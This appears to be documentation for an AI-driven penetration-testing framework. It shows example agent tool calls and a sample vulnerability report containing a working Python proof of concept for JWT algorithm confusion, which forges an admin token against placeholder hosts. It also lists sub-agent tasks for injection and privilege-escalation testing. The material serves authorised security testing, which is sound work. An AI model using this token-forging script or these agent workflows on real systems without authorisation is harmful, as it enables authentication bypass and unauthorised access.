Vulnerability Detection

# Agent discovers Next.js application
terminal_execute(command="curl -I https://app.example.com")
# Response headers: x-powered-by: Next.js

# Agent creates specialized sub-agent
create_agent(
    task="Analyze Next.js application for framework-specific vulnerabilities",
    name="Next.js Security Auditor",
    skills="nextjs,xss,csrf,idor"
)

# Agent reasoning (internal thinking tool)
think(
    thought="""
    Hypothesis: JWT signature verification may be vulnerable to algorithm confusion.
    
    Observations:
    1. JWKS endpoint exposes RSA public key
    2. Token uses RS256 algorithm
    3. No alg whitelist visible in code
    
    Test plan:
    1. Decode current valid token
    2. Change alg header from RS256 to HS256
    3. Sign with RSA public key as HMAC secret
    4. Attempt to use modified token
    5. Check if accepted by backend
    """
)

# From strix/tools/reporting/reporting_actions.py
create_vulnerability_report(
    title="JWT Algorithm Confusion Enables Authentication Bypass",
    
    description="""
    The application accepts JWT tokens signed with HS256 algorithm using the 
    RSA public key as HMAC secret. This allows attackers to forge tokens and 
    authenticate as any user.
    """,
    
    impact="""
    An attacker can:
    1. Obtain the public key from /jwks.json endpoint
    2. Create arbitrary JWT tokens for any user
    3. Access all authenticated endpoints without valid credentials
    4. Perform privileged operations as admin users
    
    This completely bypasses authentication and authorization controls.
    """,
    
    target="https://api.example.com",
    endpoint="/api/v1/user/profile",
    method="GET",
    
    cwe="CWE-327",  # Use of a Broken or Risky Cryptographic Algorithm
    
    technical_analysis="""
    The backend JWT verification logic does not enforce algorithm whitelisting.
    When a token with alg=HS256 is presented:
    
    1. Verifier extracts the kid from token header
    2. Fetches corresponding key from JWKS endpoint  
    3. Attempts verification using the key material
    4. For HS256, uses the RSA public key bytes as HMAC secret
    5. Accepts the token if signature matches
    
    Code location (inferred from behavior):
    
    // Likely vulnerable code:
    const key = await getKeyFromJWKS(token.kid);
    jwt.verify(token, key);  // No algorithm enforcement!
    
    The vulnerability exists because:
    - No algorithm whitelist is enforced
    - Public key is used for symmetric algorithm  
    - JWKS endpoint is public (no authentication required)
    """,
    
    poc_description="""
    This proof-of-concept demonstrates:
    1. Fetching the RSA public key from JWKS endpoint
    2. Decoding a valid JWT to extract payload
    3. Creating new token with alg=HS256, signed with public key
    4. Using malicious token to authenticate as any user
    """,
    
    poc_script_code="""
    #!/usr/bin/env python3
    import jwt
    import json
    import requests
    
    # 1. Fetch public key from JWKS
    jwks_url = "https://api.example.com/jwks.json"
    jwks = requests.get(jwks_url).json()
    public_key_n = jwks["keys"][0]["n"]
    
    # 2. Create malicious payload (impersonate admin)
    payload = {
        "sub": "admin",
        "email": "[email protected]",
        "role": "administrator",
        "iat": 1709280000,
        "exp": 1709366400
    }
    
    # 3. Sign with HS256 using public key as secret
    malicious_token = jwt.encode(
        payload,
        public_key_n,
        algorithm="HS256",
        headers={"alg": "HS256", "typ": "JWT"}
    )
    
    # 4. Use malicious token to access admin endpoint
    response = requests.get(
        "https://api.example.com/admin/users",
        headers={"Authorization": f"Bearer {malicious_token}"}
    )
    
    print(f"Status: {response.status_code}")
    print(f"Response: {response.text}")
    # Expected: 200 OK with admin data (vulnerability confirmed)
    """,
    
    remediation_steps="""
    1. **Enforce algorithm whitelist**: Only accept RS256 (or your intended algorithm)
       
       ```javascript
       jwt.verify(token, publicKey, { algorithms: ['RS256'] });

### Report Structure

Each report includes:

<Tabs>
  <Tab title="Overview">
    - **Title**: Clear, descriptive vulnerability name
    - **Description**: Brief explanation of the issue
    - **Impact**: Real-world consequences for the organization
    - **Target**: Affected system or endpoint
    - **CWE/CVE**: Standard vulnerability classifications
  </Tab>
  
  <Tab title="Technical Details">
    - **Technical Analysis**: Deep dive into the vulnerability mechanism
    - **Code Locations**: Vulnerable files and line numbers (if available)
    - **Endpoint/Method**: Specific API routes or pages affected
    - **Request/Response Examples**: HTTP traffic demonstrating the issue
  </Tab>
  
  <Tab title="Proof of Concept">
    - **PoC Description**: What the exploit demonstrates
    - **PoC Script/Code**: **Required** - Executable exploit code
    - **Expected Output**: What successful exploitation looks like
    - **Reproduction Steps**: Manual testing instructions
  </Tab>
  
  <Tab title="Risk Assessment">
    - **CVSS Score**: Automatically calculated from metrics
    - **CVSS Vector**: Detailed metric breakdown
    - **Severity**: Critical/High/Medium/Low
    - **Exploitability**: How easy to exploit
  </Tab>
  
  <Tab title="Remediation">
    - **Remediation Steps**: Specific fix recommendations
    - **Code Examples**: Secure implementation patterns
    - **Defense in Depth**: Additional security measures
    - **Testing Recommendations**: How to verify the fix
  </Tab>
</Tabs>

### CVSS Scoring

Strix automatically calculates CVSS scores:

```python
# From strix/tools/reporting/reporting_actions.py
def calculate_cvss_and_severity(
    attack_vector: str,        # N, A, L, P
    attack_complexity: str,    # L, H
    privileges_required: str,  # N, L, H
    user_interaction: str,     # N, R
    scope: str,                # U, C
    confidentiality: str,      # N, L, H
    integrity: str,            # N, L, H
    availability: str,         # N, L, H
) -> tuple[float, str, str]:
    # Constructs CVSS vector string
    vector = (
        f"CVSS:3.1/AV:{attack_vector}/AC:{attack_complexity}/"
        f"PR:{privileges_required}/UI:{user_interaction}/S:{scope}/"
        f"C:{confidentiality}/I:{integrity}/A:{availability}"
    )
    
    # Calculates score using cvss library
    c = CVSS3(vector)
    base_score = c.scores()[0]  # 0.0 - 10.0
    base_severity = c.severities()[0].lower()  # critical/high/medium/low
    
    return base_score, base_severity, vector

# From strix/tools/reporting/reporting_actions.py
existing_reports = tracer.get_existing_vulnerabilities()

candidate = {
    "title": title,
    "description": description,
    "endpoint": endpoint,
    "technical_analysis": technical_analysis,
}

dedupe_result = check_duplicate(candidate, existing_reports)

if dedupe_result.get("is_duplicate"):
    return {
        "success": False,
        "message": f"Duplicate of '{duplicate_title}' (id={duplicate_id})",
        "reason": dedupe_result.get("reason"),
    }

# Pattern: Create sub-agent for auth testing
create_agent(
    task="Comprehensive authentication security testing",
    name="Authentication Security Specialist",
    skills="authentication_jwt,business_logic,csrf,session_management"
)

# Agent will test:
# - Token forgery (algorithm confusion, signature bypass)
# - Session fixation and hijacking  
# - Password reset vulnerabilities
# - Brute force protections
# - OAuth/OIDC misconfigurations
# - Multi-factor authentication bypasses

create_agent(
    task="Test for authorization bypasses and privilege escalation",
    name="Authorization Testing Agent",
    skills="broken_function_level_authorization,idor,mass_assignment"
)

# Agent will test:
# - Vertical privilege escalation (user → admin)
# - Horizontal privilege escalation (user1 → user2)  
# - Function-level access controls
# - Parameter manipulation
# - Hidden endpoints

create_agent(
    task="Test all input vectors for injection vulnerabilities",
    name="Injection Testing Specialist",
    skills="sql_injection,xss,xxe,ssrf,rce"
)

# Agent will test:
# - SQL injection (error-based, blind, time-based)
# - XSS (reflected, stored, DOM-based)
# - XXE in XML parsers
# - SSRF via URL parameters
# - RCE in file uploads, deserialization, template engines